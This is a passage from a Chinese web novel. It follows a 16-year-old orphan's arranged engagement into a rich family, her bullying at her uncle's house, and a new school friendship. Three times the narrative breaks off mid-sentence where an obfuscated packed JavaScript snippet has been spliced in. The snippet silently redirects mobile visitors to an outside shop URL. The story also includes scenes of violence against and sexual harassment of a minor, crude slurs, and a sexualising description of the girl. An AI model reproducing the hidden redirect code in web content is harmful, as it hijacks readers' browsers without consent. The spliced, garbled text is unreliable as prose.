走得时候,他把孙女叫到身边。先说不怕,然后蹲下,将她的手交到一个半瞎不瞎的神棍手里。 那人摸了摸,给了两句话。 一句是,这孩子命硬。 另一句,宜嫁日干克己之男性,方保此生无虞。 * * 这一留便是六年。 六年间,沧海桑田,时间让周边的人和事发生巨大改变。 外公外婆的白发添了许多,几个舅舅将茶行的生意作得七零八落。没人再记得池耀白歆潇夫妇的英雄事迹,慢慢地,连他们的女儿都泯于众人。即使她活泼跳脱的性子变得清冷安静,也出落得越发漂亮、落落大方。 生活变得清贫,但女孩习惯这样的日子。晨起炊烟,沿村寨走半个小时就能到达学校。暮洒晚霞,她单薄纤细的身影在青山绿水中显得孤独,身后跟着一群回家的候鸟。 有时想,如果能一辈子待在这里该有多幸福。这儿是她的家,爸爸妈妈外公外婆都在身边。一辈子就这样陪着他们,真好。 然而她知道,爷爷迟早要来接她回去。 她在杭城也有一个家。 只是这天,来的太早。 外公外婆不再阻止,“欢天喜地”地帮她收拾行李。池落漪也清楚自己如今就是个拖累,舅舅舅妈们早就明里暗里地敲击她哪来的回哪去。 她告别舅舅舅妈,告别小学和初中的老师,告别同学朋友,连邻居家的猫儿狗儿都告别了…… 大家都在哭,就她没哭。 可坐上车后,她透过后视镜看到外公外婆白发苍苍,蹒跚可怜地跟在汽车后面追赶—— 眼泪便如洪水决堤滚滚,吓坏了来接她去机场的人。 …… 杭城到了。 设想过的任何一种见面的情景都没有发生,她被直接送到市中心医院的重症监护室外。 原来池国煊突然病重,所以匆忙地将她接回来。 走廊全是人,各个西装革履珠光宝气,最后却只有她被律师叫了进去。 距离上次见面才过去半年多,她已经快认不出眼前这个插满管子的老人是谁了。枯败,消瘦,再不负往日精神矍砾。唯独那双眼睛里有些许亮光,望过来时和以前一样慈祥。 池落漪已经十六岁了。 她现在知道“死”是什么,更知道“死”代表什么。 她跪下来,握他的手,哭着叫,爷爷。池国煊眼睛眨了眨,慈爱更甚,艰难开口道,“漪漪。” “漪漪,爷爷要去找你奶奶和爸爸了。” 她接受不了,身体剧烈发抖,求他活下来,不要去。 那一瞬间,在这个陌生的城市,她觉得自己唯一的支撑断掉了。 “我池家命数已尽,即使早有预料,也阻止不了大厦倾颓。” “盛家辉煌,钟鸣鼎食,你盛爷爷是我过命的老战友。” “我已和他约定,你这次回来就和他的亲孙子订婚。” “时寒是个好孩子。你们一个日主属金,一个五行属火,相生相克,平衡调和,会相守相爱一辈子。” 直到葬礼结束,这五句话依然在池落漪脑海里回荡,掷地有声。 七日后,池家旁支亲属在律师的见证下拿到了相应的遗产,纷纷离去。 而她,正经长房遗女没有任何所得,只能跟随叔叔婶婶回老宅,并在老宅并不算多的主人仆人间,宣布了她池家大小姐的身份。 叔叔池辉长得不高,还算年轻,眉眼与池耀有三分相似。婶婶郭美娟要更年轻一点,喜欢在外人面前对她夸张地笑、说话。 她还有一个堂哥和堂妹。堂哥叫郭兴昂,堂妹叫池怡晴,关系不大和睦,一言不合爆发战争。 别墅太大,穹顶吊得很高。 她在水晶灯迸发的光芒里晕头转向,分不清东南西北,是保姆刘妈把她带到了楼上房间。 刘妈长得面善,身上有和外婆一样的肥皂香。叮嘱完走了,这股香气仍萦绕在粉色娇嫩的床幔里,像一只手,抚平她寄人篱下的不安和焦虑。 洗完澡,池落漪想睡了。 祠堂守灵期间,她基本没睡过完整的觉。 然而掀开被子,吓得困意全无—— 一直死青蛙被四仰八叉地扔在床单上,血淋淋的,特别可怖。 她呆了会儿,却也没真被吓着。以前在云泽,寨里的小伙伴们经常剥蛇钓鱼钓虾,更别说青蛙□□了。 想吓她的人可能以为她是个娇滴滴的小公主,打错了算盘。但她清楚明白这是一种威慑。幼稚,却昭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16745778|189883||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 示了她在这个家里将没有太平日子。 床不能睡,她窝在沙发里想外公外婆,一觉到天亮。 第二天下楼吃早餐,比自己小半岁的池怡晴甜甜地跟她打招呼,特意问昨天睡得好么。 叔叔婶婶看过来,笑吟吟的。 她只能说,好。 …… 不用摘茶叶、捻槐花的日子特别无聊。起床,下楼,吃饭,看书,每一个步骤像机器一样规律又冰冷。 池落漪宁愿规律。 因为不规律的时候,往往是她要倒霉的时候。 池怡晴和郭兴昂三天一小打五天一大打。池辉管不住,郭美娟不想管,他们便把她抓过来当屏障,你推一下我推一下,直到把人推倒在地板上、磕破膝盖,才嘻嘻哈哈地结束战争。 爷爷五七后,这种情况有所好转,郭美娟还一反常态地带她逛了街。 原来盛家盛伯蕴递来拜帖,邀请她这个“准”孙媳妇正式上门做客。 前一晚。 池落漪被逼着试了很多暴露成熟的裙子。 她瘦,却发育得很好。瓷白的少女曲线被丝绸布料完美包裹,散发出一种青涩的诱惑。 闯进来看热闹的郭兴昂看得两眼直发愣。 第二天想再仔细看看,她却换了件普通的白色连衣裙,那件粉色丝绸的穿在了池怡晴身上。 出发。 司机开了快四十分钟才将车拐进盛家的地界。 这是一座中式庄园,占地很大,依山傍水。进门又开了十分钟左右,方到达半山腰上的流水别墅。 进入室内,松香阵阵。盛伯蕴坐在客厅中心的红木沙发上,正与一家子老小说笑。 听说客人到了,他惊喜,随后搁下手里的黑子,望过来,一眼锁定落在最后的那个单薄身影,亲切唤道: “漪漪!” 老管家略过一家四口,将池落漪带到老人身边坐下。 数十双眼睛就这样盯过来,各有目的。有的好奇,有的不屑。有的充满善意,有的很不甘心。 她硬着头皮开口: “盛爷爷,您好。” “我好,你还好啊?”盛伯蕴是一个对小辈没多少耐性的人,但对她,可谓用尽了铁汉柔情,“你爷爷刚过世不久,我也不忍心去打扰你们一家人。尤其是你,小漪漪,身体怎么样了?” “好!”郭美娟抢着回答,“盛叔叔,我们拿她当亲女儿待,吃穿用度都是最好的,比晴晴还好!” 对于她的此地无银三百两,池伯蕴不太高兴,却没表现出来,愈发心疼地看着池落漪。 “那就好。” “你虽在孝期,但对我们这些未亡人来说,逝者的生前意愿更重要。所以按我的想法,咱们两家的喜事该往前推进了。结婚呢、漪漪还没到年龄,不如把婚先订了吧!” 池辉吊了快两个月的心终于落了地,顿时喜笑颜开,“我们没有异议!” 盛伯蕴笑笑,将管家递来的热果汁塞她手里,语气更轻,“那你呢?” “小漪漪,你愿不愿意?” 此时客厅特别静。 池落漪想起爷爷生前留下的五句话。每一句每一字,锥心泣血。 自己不是云泽的风,也不是云泽的雨。云泽太远了,大概不知道她这只雀儿被钢筋水泥困住了。 既然如此—— “我听爷爷的。” 盛伯蕴很高兴,转头吩咐管家,“快上楼把时寒叫下来。” “俩孩子,也该见见面了!” 8. 第八章 等待间隙,池怡晴很紧张,一直整理衣服。郭兴昂拿眼斜她,笑得贱兮兮的,用不大不小的声音道: “巴不得光着来。” 池辉瞪他一眼,郭美娟将女儿不安分的手往下拉。一家人乌烟瘴气,实在不怎么体面,直到楼梯方向传来盛家小公主盛朵的呼喊声—— “不好啦!哥他逃走了!” “什么?!”盛伯蕴拍案,脸色铁青,“保镖呢?一群废物,连个半大小子都看不住!” 盛朵上气不接下气,“我看了,他跳窗逃跑的。那么高,也真敢,不就是不想订这个婚,至于嘛!” “……” 客厅本就尴尬的气氛因为这句大实话愈发低气压。 池怡晴真心开心,叔叔婶婶真心觉得丢人,而盛伯蕴真心生了气。 “那什么、”看着像他儿子的中年男人起身,不免愧疚地看向客人。 “亲家见笑了。孩子嘛,青春期叛逆,早上跟老爷子拌了几句嘴还在气头上,就闹脾气跑了!” 而一旁的贵妇也站起来,跟着附和,“是啊亲家,别听朵儿胡说。小漪漪,他没针对你,你别往心里去。来来,咱们继续。” 继续什么? “继续个屁!”一声铁骨铮铮的盛老爷子似乎不屑于拿这种冠冕堂皇的话来虚以委蛇,“今天是我盛家失礼。” “仪式择良辰八月底举行,我盛伯蕴绝不会反悔!” “那小子,老子就是绑也要把他绑过去!” …… 想象了番“火柴人”未婚夫被五花大绑和自己订婚的场面,池落漪在心里乐了一路。靠着这种全程状况外的咸鱼心态,她完美忽视池辉和郭美娟递来的黑脸和白眼。 他们大概觉得自己太不中用了,上门第一面就让金龟婿放鸽子。所以接下来的半个月,池怡晴和郭兴昂对她的捉弄变本加厉,他们看到了当没看到,好几次是刘妈保护,才能让她身上的青青紫紫有养好的间隙。 她没有坐以待毙。 在吃亏了几次后,发现了一个很好的躲藏地点。 池国煊的书房。 池国煊去世后,家里有关他的地点基本都封了起来。是一次不小心,才迷迷糊糊地闯进这里。 这里很大,三面到顶书橱,摆满了全世界各种语种的名著。 正中心一张书桌,一把椅子,深褐色花梨木的,就这样被包围在无边书海里,给人一种很安心、很落地的感觉。 那天一坐就是一下午。 也听到了池怡晴在走廊外头的咒骂声和威胁声。她不语,悄悄弄掉一个笔筒,再弄掉一本书,制造细细碎碎还带有回音的声响,把趴门偷听的女孩吓得脸色惨白落荒而逃,哭喊地说楼上爷爷的房间闹鬼。 后来一有时间,池落漪便跑这个安静的小天地里藏起来。 这里有太多太多回忆。又有太多她从没见过的东西。 有爷爷和素未谋面的奶奶酱的合照。有相册记录着爸爸池耀从小到大的样子。还有妈妈白歆潇,原来他们在杭城也办过一次婚宴,热闹非凡。竟然还有自己,婴儿时期的一张全家福,记录了她拿着玩具哈哈大笑的样子…… 更多时候用来放空。 拉开窗帘,能清晰俯瞰后山绿油油的阔叶林。抬头仰望,蓝天白云一碧如洗,给人沁人心脾地感觉。 仿佛她还在云泽过着无忧无虑的生活,就是太热了,杭城的八月真的要比勐莱乡热很多…… 月底终究到了。 随着盛家对外宣布喜讯,到正式登门,送礼,交换定帖……一波接一波的行为不像有“毁约”的倾向,池辉和郭美娟又开始仰卧起坐般地对她好。 最后三天,造型师和化妆师几乎整天待在别墅了给她选衣服、定造型,生怕哪个环节出错,就断送了落魄豪门池家起死回生的好机会。 池落漪坐在镜子前任由摆弄时就想告诉她们—— 别那么紧张,她未婚夫能不能出现、并看到她,是个比小行星飞行轨道还难预测的概率事件。 …… 日子当天,车来接她。 坐上车前,她其实对豪门排场没有什么概念。 池家算豪门吗?算吧。 池国煊葬礼上,她曾看到络绎不绝的车队前来吊唁。 可今天,更多的人来到被包场的奢华五星级酒店。西装罗裙摇曳,灯火流光溢彩,童话故事里的场景。 按说女主角会幸福死。 然而爸爸妈妈不在,外公外婆也不在,便是别人的狂欢,她终究是状况外的那个。就像身上这条白色花边裙,她不喜欢,很不喜欢。 见过盛家长辈,领了红包,池落漪被告知前往宴会厅隔壁的休息室。 盛朵爱凑热闹;池怡晴别有用心;还有亲戚家大大小小的毛孩子们,都想跟着来,通通被盛伯蕴瞪回去。 “漪漪。”老人家拍拍她脑袋,“到休息室先吃点东西垫垫肚子。” “时寒一会儿也去,你们聊聊。放心,有我在,他欺负不了你。” 约莫过了半小时,休息室外响起兵荒马乱的噪声。几个造型师停下修修补补的动作,走过去,想打开门看看发生了什么。却有人先一步将门推开,相继砸来一道影子,把大家吓一跳。 “什么东西!” “时寒少爷,你省省吧!”回答问题的是走廊里的一队保镖,“上次你可把我们害惨了,这回,连只苍蝇都别想从我们眼皮子底下飞出去!” 时寒,盛时寒。 他低低咒骂一声,自认倒霉地倚靠在沙发背上,喘息声明显。 外人们面面相觑,半分钟后识趣地离开了。屋里屋外一下子变得安静,只有远处一架落地钟的三坠重锤还在规律摆动,滴答,滴答,滴答…… 她看清闯入者的样子。 个头很高,身形颀长,正常又不正常的男高中生长相,过于英俊了,只有眉眼处透露些许不羁的少年气,其余地方则初具身为男人的凌厉与潇洒。 高三生,18岁了,该比自己大。 察觉到被打量,男孩看过来,神态散漫,同样开始观察她。 末了轻嗤一声,极淡的嗓音,不紧不慢地抛出话题。 “你就是池落漪?” 池落漪有点紧张,脸也红了,毕竟对方和她是这样尴尬的关系,毕竟自己只是个十六岁,情窦初开的小姑娘。 她攥了攥裙摆,有些手足无措地站起来。对方站着,她不起身,不礼貌。 “……是。” “你是自愿的吗?” 池落漪不知道自己这种情况算不算自愿,先点头,后摇头,最后索性低下头去,不说话了。 盛时寒迈开长腿走过来,坐到她对面位置的沙发上。 距离变近,更能看清他眼睛里的淡漠和不耐。有点刺人,仿佛自己真成了一个强人所难的人。 “很荒谬是吧?但这就是有钱人世界的规则。以你我的年纪和实力,目前还无法对抗家里人的安排。” “目前不可以,不代表以后不可以。所以有一句话,我觉得我需要提前告知你。” 池落漪一边听一边思考,有点应接不暇。盛时寒看她呆呆的,一副神游天外的样子,不觉皱了皱眉,提高音量道,“听我讲话了吗?” 她一愣,脸更红了。坐下来,几不可察地点了点头。 “哦,你说。” “我可以娶你,也可以照顾你。但请你不要对我有太多期待,因为我不会喜欢你。” 两句话,用轻飘飘的、有钱人专属的散漫语气说出来,竟给人一种善良而通情达理的感觉。 池落漪听一愣愣的,无法反驳,只觉得他真善良,太善良了。 于是开口:“好。” 反正我也不是非要喜欢谁。 一个坦诚,一个干脆,就这样为这场可笑的订婚仪式定了性。 仪式正式开始的时候,两人和谐的很,没出现盛老爷子担心的各种状况。 甚至他们站在玫瑰花海间交换戒指的时候,宾客们竟然觉得他们很搭。矜贵英俊的,清冷安静的,穿着同色系礼服,保持一个头的高度差…… 如果不是池家日渐式微,大概真会是一对璧人。 “你戴错了。” “啊?” 璧人用只有司仪才能听到的音调交谈。 “订婚戒指要戴在左手中指上,不是无名指。” 男孩表情淡淡地提醒她。 池落漪“哦”了声,手拿指环挪了个位置,轻轻套在他中指上。 指腹有茧, 像做过许多不好的事。 * * 订婚结束,一切归于沉寂。回到池家的日子不说太好,至少叔叔婶婶能心平气和地待她。因而池怡晴和郭兴昂少了许多捉弄她的机会,更不爽,频率越来越高地往她房间丢东西。 九月,杭城几个头部初高中陆陆续续开学了。一切手续就绪,她正式成为恒舜外国语学校普通部的一名高中生。 普通部,是她该待的地方。毕竟恒外国际部是杭城公办国际部的top1,也是杭城最早创办、最难考的公办国际部,竞争非常激烈。池怡晴和郭兴昂进不了,她更进不了。 这里钱,权,成绩,缺一不可,考上了,就等于半只脚踏入国际G5名校,前途不可限量。 能上学,很开心。 不是因为喜欢上,而是上学了,就不用整天面对眼前的乌烟瘴气。 以前在云泽,她最不喜欢的就是上学。山路很远,早出晚归,一整个白天都不能和外公外婆待在一起。学习态度也很散漫,导致她的平时成绩常年排在中上游位置。 大考却能出奇迹。不转学,凭她的中考成绩,完全可以被云泽排名前几的高中录取。 然而既来之,则安之。她不得不接受跟池怡晴同级同班,也不得不接受这个学校里还有个光芒万丈的盛时寒。 开学一周,一次没碰面。 普通部和国际部之间的壁垒如山河大川,一眼望不到头。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16745779|189883||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>然而她低估了八卦的穿透力,就用了一周,老生新生无缝衔接了他们订婚的消息—— “也不怎么样额。” “一般吧。” “听说就是个孤儿。” “她爷爷拿命威胁来着。” 诸如此类为盛时寒惋惜的评价,导致开学到现在,除了瘦弱还有点娘的同桌,她交不到一个朋友。不乏池怡晴在旁边煽风点火,总之在单纯善良的同学们眼里,她是个心思不纯的人。 池落漪觉得孤独。 上课没人讨论,下课要单独完成作业。去食堂没有饭搭子,连上厕所都冷冷清清的,到处陌生。 又过了半个月,她哄自己习惯了这种生活。没人搭理,便自娱自乐。找不到朋友,就把社区服务课上捉到的小生物带回来圈养。 有一回上课,娘娘腔同桌被刚加入大家庭的蚂蚁咬了一口,疼哭了,条件反射地蹦起来踩死。 她心疼了两天,决定放弃捉活物改种植物。 结果无疑成功,从杂草地里挖出的薄荷就这么在她三天打鱼两天晒网的照顾下绿油油了一片,摆窗台上,驱蚊又驱虫。 平时的学习任务也重。 云泽虽大,教育水平却远远比不上发达的沿海地区。她的那点学习基础放在补课当饭吃的“精英式”培养模式下显得不够看,不得已白天在学校学,晚上回家学,辅导老师是池怡晴不喜欢的漂亮姐姐。 她最近迷上跟高年级学生逃课泡吧,经常三更半夜回。郭美娟就是因为把书房里挑灯夜战的池落漪当成了宝贝闺女,才许久没发现。 天慢慢变冷。 学校成排的银杏树在一场又一场的秋雨里由金黄变干枯。 月底,雨停了,体育老师无法再推脱身体不好,体育课正常进行。 花季少男少女们一溜烟儿奔向操场,跟刚出笼的鸟似的欢天喜地。 池落漪就没那么开心了。生理期来得不巧,她坚持跑完两圈操,感觉腰快断了。体育老师看她脸色不好,问她怎么了,她诚实说不舒服,便得到回教室休息的允准。 走的时候,不出意外得到池怡晴为主的小群体的蛐蛐。 说她矫情死了,动不动就装可怜博同情。说体育老师偏心,三十多岁老男人还想被女学生勾引。 不愿计较,却也不能让堂妹天天戳自己的脊梁骨。她走了又回来,于众目睽睽下对老师鞠了个躬。 “怎么了?” 大家都过来看热闹。 池落漪一字一顿,“老师,我堂妹晴晴的身体也不太好。医生说她脑子里长了个东西,不适合剧烈运动。可她怕大家担心,不说。您多注意她吧,一旦发现情况不对,请叫她立马休息。” “那东西很可怕、” “到一定程度,会炸。” 她的嗓音很轻,很疏离。音质不大容易亲近,音色却释放出一股煞有其事的笃定感。这样的特质,和这些天、她这个人给外界的感觉一样。 无视她,她不在乎。孤立她,似乎也能接受。就这样孑然行走在名利圈子外围,如一缕沁凉的风。 老师慌了,“池怡晴你不舒服怎么不说呀!赶紧回去,快!”她的小姐妹们也一脸诧异地躲起来,“晴晴,你脑子里长什么了,不会传染我们吧?” 池怡晴脸憋得通红,“她胡说!我脑子里什么都没有!” “谁说什么都没有?”她转身,叹气,留给众人一个想入非非的背影。 这下更多同学将歇斯底里的当事者围起来,关心她脑子里到底有什么。 有什么? 有泡呗。 一路好心情。 然而路过高二教学楼的时候,池落漪被一伙不速之客拦住。如果不是体育课三令五申不让带手机,她会以为自己前脚走,池怡晴后脚就搬救兵去了。 她和这对兄妹的缘分太深。 “在家见不到人,在学校也见不到人,你是不是在哪个妖精窟修炼隐身术了?”来人长相偏东南亚风格,校服不好好穿的此刻特别像只猴子。 “老郭,这就是你那妹妹?” “可不是。” “长得不错呀!” “老子的基因好。” 几人哈哈大笑,“可惜了,才几岁就嫁了人,肯定不是处女了。”郭兴昂眼眸一深,“怪不得三天两头往盛家跑,我以为你多纯呢。” 池落漪觉得他有病。 “让开。” “不让。” “我告诉叔叔你逃课。” “告呗!反正我不怕他!” 女孩面无表情,掉头就走。 他们追上来,狗皮膏药似的贴着她,你推一把我推一把,带头的那个还趁乱捏了把她的腰。 “是不是有病!” 条件反射将人推出去。 郭兴昂没站稳,一屁股坐地上,小弟们笑得拍大腿,让他觉得很丢人。 脸更黑了。 “你以为盛时寒把你当回事?知不知道他背后怎么说你的!” 9. 第九章 “说你贱!说你装!” “说你踏马不过是替池家卖/身的婊子,脱光了都看不上你!” 池落漪喘气。 一个字不信。 倒不是对所谓的未婚夫的人品涵养有多自信,而是她认知里,盛时寒压根不会提起她,更别说评价什么。 相似的话,她反而听郭美娟给池怡晴说过几回。 池怡晴时不时会因为这段婚约没落到自己头上而破防,每回都要人花很长时间安慰她。 安慰之词以此类推。 不好听,却是大实话。 “那又如何?” 经历了刚刚那遭,她这个当事人也是杀疯了。得罪一个两个没所谓,都得挨批,那就干,“我没爹没妈,吃池家住池家的,被卖算我命不好。” “既然如此,我认命。反正为了池家的谁都行,就是不为你。” “哥你虽然是我哥,但你姓池吗?” 余音阴阳。 几个小弟闻言瞪大眼睛,“老郭你妹啥意思?”郭兴昂“操”了声,“信她妈的胡说八道!老子打死你!”然后就提手扇她。 千钧一发,一个教导主任路过,远远地质问他们是哪个年级的、为什么逃课。肇事者慌了,四散,池落漪也拔腿就跑…… 有惊无险到了教室,却发现教室里空荡荡的,还藏了个人。 叫什么……包悦的。 哦,有印象。体育课前一节是班主任的数学课,下课时她举手请假,说自己肚子疼,不能跑步,班主任便同意她留在教室休息。 可现在…… 两人面面相觑。就见她手里拿着辣条和碳酸汽水,吃得满嘴流油,一点不像个病人。 “那什么,我、” 池落漪垂眸,默不作声走到自己座位旁,并不多话。 包悦舒了口气,三两下吃掉没吃完的,抹抹手,跑到她前面坐下。 她是反着坐的,捧着下巴,离她很近。可女孩专注翻阅手里的卷子,头都不抬,真不把周围的一切放眼里。 “喂?” “嗯。” “我跟你说话呢,看看我呀!” 她放下笔,抬眸静静地望过来,“我不会告诉老师的。” 来人语噎,翻了个白眼,“我又不是想说这个!再说了,你看着也不像打小报告的人。都同学,我们认识认识嘛。” “你叫池……池落漪,对吧!” 池落漪并没有受宠若惊,毕竟已经开学一个多月了。再透明,总会被老师点名起来回答过问题。但还是保持礼貌笑了笑,点头道,“你好。” “萨瓦迪卡!”她脸圆圆的,真心笑得时候露出两个可爱的小梨涡,“我叫包悦,包子的包,喜悦的悦。你不是恒外初中部的吧?不然你长的那么好看,我肯定有印象。” 池落漪摇头,“我刚转过来,以前在云泽上学。” “云泽……貌似挺远的,我还没去玩过呐。” “不过你在云泽那么多年,怎么刚回来就能和盛时寒攀上关系?” “……”又是他。 池落漪觉得没趣,不搭理,低头继续做卷子。 包悦被无视本来很生气,后知后觉说错话了,讪讪的,起身离开。 刚走两步,忽然觉得胸闷。继续走,手脚都麻痹了。意识到什么,她想加快速度。只是呼吸越来越困难,脑袋发懵,失力摔坐在一旁的椅子上,捂着胸口剧烈咳嗽。 “怎么了?”池落漪跑过来,看她脸憋得通红,呼气声急促,极其不舒服的样子。也慌了,笨拙地拍她后背帮她顺气,“还能坚持吗?我去叫老师!” 包悦拽住她,“药,帮我拿药……抽屉,书包里!” 她反应了一秒,立马奔过去翻她书包。只是她书包里稀奇古怪的东西太多了,什么漫画书,杂志,指甲油,好久才找到一只喷雾药剂似的东西,赶紧拿回来给她。 “是这个吗?” 包悦此刻脑门上全是汗,闻言艰难地睁开眼睛。她点头,接过来,用力摇匀,呼出一口气后开始含住吸。按一次吸一次,屏气三五秒。如此反复十分钟之久,脸色终于有所回缓。 池落漪不敢懈怠,抽了几页手帕纸帮她擦汗。擦完拿她杯子去接水,冷水热水各一半。确定温度适宜了,才放心塞给她,并轻声问需不需要吸管。 对面眼眸一深。 “你知道……我这是什么?” “有点像哮喘,但我不确定。” 她有些虚弱地弯唇,“就是哮喘。” “烦死了,好久没发作,还以为好了呢。幸好带了药,喏,就这个。” 支气管扩张剂。 池落漪拿过来,看了眼生产日期。 当事人发觉了,边笑边咳,缓了缓,端起杯子抿了口,“你这是多不信任我呀?我不在意、我老爸老妈都放不过我去!话说,他们知道今天的事后肯定要来谢谢你,不然我死教室了。” “没那么严重。” “有。”她突然很认真道,“社死也是死啊。跟你说,我初中的时候也犯过一次病,正上课呢,就刚才那样了。” “虽然我看不到自己啥样,总之肯定很丑很滑稽。那之后,就有意无意看到一些讨厌鬼学我犯病时的样子,又笑又闹的,气得我牙根痒痒,恨不得上去抽她们几巴掌!” “那就抽呀。”她表情淡淡地说出很不淡淡的话。 包悦嘴巴张成了一个“O”,“你还真……看来我才是那个怂逼!西八!” 池落漪没忍住,扑哧笑了,尽心尽责地将她送回座位上,“所以你不喜欢交朋友。我也很少看你跟女生玩。” 她“欸”了声,“也不单单因为这个啦。主要咱们这个圈子,真友情太少了。” “但……”她坐稳,语气忽然变得神秘,道,“你是例外。” 没等对方质疑,就抱住她,“你知道了我的秘密,就得做我朋友。不同意也没办法,我会一直赖着你的!” …… 女生的友谊来得就是这么突然。 第二天,包悦赶走了她有些娘娘腔的男同桌,自己坐过来。 事实证明,有朋友的感觉真好。她们一起上课,一起写作业,一起去食堂吃饭,一起上厕所。做什么事都不需要再一个人,不需要用硬币决定接下来要干什么。 她们之间有很多话。 聊各自小时候,聊爸爸妈妈。聊云泽和杭城的饮食差别,聊曾经的暗恋对象与动漫人物的相似点…… 之后恍然大悟,原来她们都喜欢看《火影忍者》和《犬夜叉》,一个喜欢漩涡鸣人,一个是杀生丸的铁杆粉。 她们之间也有很多冒险。 兴致来了说走就走。跑老城小巷子里吃热腾腾的柴火馄饨,翻墙进包悦邻居家的狗舍里摸哈士奇,跑电玩城,脱掉校服和社会非主流们跳霹雳舞,要不就凑钱买黄牛票进游乐场,为玩过山车还是进鬼屋争论不休…… 包悦有时候反思自己是不是不该老拐带三好学生翘课,导致池落漪回家经常挨批。 但想想,明明很多时候她比自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16745780|189883||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 己玩得还嗨,包括且不限于嘲笑哈士奇是太监、平静回怼精神小妹关于立体几何的谬论,以及在鬼屋,她于惊恐下扯掉npc的面具,飞快戴自己脸上,躲起来扮演后面游客的npc…… “漪漪。” “嗯?” “我觉得你特别像只兔子。” 更多时候,两人躺在操场的大草坪上望天。深秋寂寥,唯有天空还是蓝蓝的。白云飘来一朵又飘走一朵,白白软软的,很像棉花糖。 女孩伸了伸懒腰。 “不像。” “像!你看——” 她掰着手指头数,“兔子表面乖乖巧巧人畜无害的,你也是。兔子急了会咬人,你也是。来,你把嘴张开。” “干嘛?” “我看你长兔牙了没有!” “哈哈哈哈哈……” 如果日子能一直这样过下去,好像也没那么难以接受。 朋友给她带来很多快乐,成绩有所提升。由于和盛时寒在学校里没有任何互动,最开始大家投来的敌意也渐渐淡化许多。 学校外,叔叔婶婶仍乐衷于带她到盛家做客。打着两个孩子要多多相处的由头,实际想干什么、得到了什么,财经新闻上说的清清楚楚。 池落漪越来越不愿意去,即使盛伯蕴对她一如既往的好。 她有时会在出发前弄脏裙子,或者装生病。很多回被池怡晴告发,郭美娟气得连续扇她巴掌。 遮掩完伤痕照样得上车。 池辉就会发挥“白脸”作用,唉声叹气地劝:“漪漪,太倔了不好。” 人人都关心她和未婚夫相处得怎么样了。可就像池怡晴在学校里传的,无论她怎么倒贴,盛时寒从订婚后就有意避开她,不露面。 包悦跟她说了三件事。 “你知道最初大家为什么都不愿意搭理你吗?” 池落漪说不知道。 “盛家是豪门,豪门中豪门,像你家、我家,放他们面前都不够看。别看我们还是学生,但在你出现之前,多少人盯着盛家孙少奶奶的位置啊,打得头破血流!可你出现了,平平无奇地抢了这块肥肉,他们当然不待见你。” “第二……” 这人光脚下床把卧室门关上,防自己老爹包六祥偷听。 “你了解盛时寒吗?” “他,你盛爷爷家大儿子的唯一血脉,按古代那套嫡庶论,那是晟昱集团说一不二的继承人!但我听大人、好啦也就是我爸在酒桌上八卦过,他身世蛮可怜的。他爸她妈感情不好,很早就离婚了。离婚第二天,他爸就领二奶去国外度假,结果可能玩嗨了掉海里,人毁车亡,差点遗体都没找到!” 池落漪一怔。 “然后呢?” “然后就拖回来了呗!他那时可能就……七八岁差不多?太小了,你盛爷爷就亲自抚养他了。” “那他妈呢?” 包悦声音压得很低,“他妈也是个狠人,离婚后跟这边一刀两断了。也能理解,老公出轨包二奶,即使死了也不必要原谅。何况有钱有闲的,一个人过多爽啊,很少联系自己的亲儿子。你俩这回订婚,他妈就没来吧?” 池落漪想了想。 貌似没有。 管这叫大爷大奶,管那叫二叔三叔……乌泱泱的人丁兴旺的大家族。就是没人介绍她未来的公公婆婆,红包都是盛伯蕴代给的。 “最后一件事。” 包悦有点欲言又止。 “整个学校就你不知道。你家盛时寒……貌似有喜欢的人了。” 10. 第十章 曹婧。 池落漪的确第一次听说这个名字。 “她是我们高三学姐兼学生会主席,成绩好人长得漂亮。家境一般,好像舅舅在市里当了个小领导?总之能在国际部上学,是纯靠实力硬考上的。” “性格还活泼。” 包悦一副看不惯又干不掉的鄙夷表情,拙劣而浮于表面。池落漪明白,她是为了照顾自己心情而有意偏颇。 “才能让盛时寒那种眼高于顶的公子哥对她另眼相看。有年头了呢,两人从高一开始就一个班。” 女孩恍然。 “所以他们谈恋爱了?” “没有吧。”这倒不是为了照顾朋友情绪,而是实话实说。 “据说曹婧表白过,但你家那个不主动不拒绝不负责,当然也没把人踢开。可能默认了?曹婧在他朋友圈里很吃得开,那群哥们经常开玩笑叫她嫂子,恶心死了!” “怪不得。”她想起订婚那天他对自己说的话,认真品剖,“大概是学校不让早恋。等毕业了,他应该会负责的。” 到时候火炮他扛,自己哪凉快哪待着去,真爽。 包悦啧啧两声,“漪漪,这男人不干净了,你真可怜。跟我说实话,你难受不?” 池落漪摇头:“不难受。” 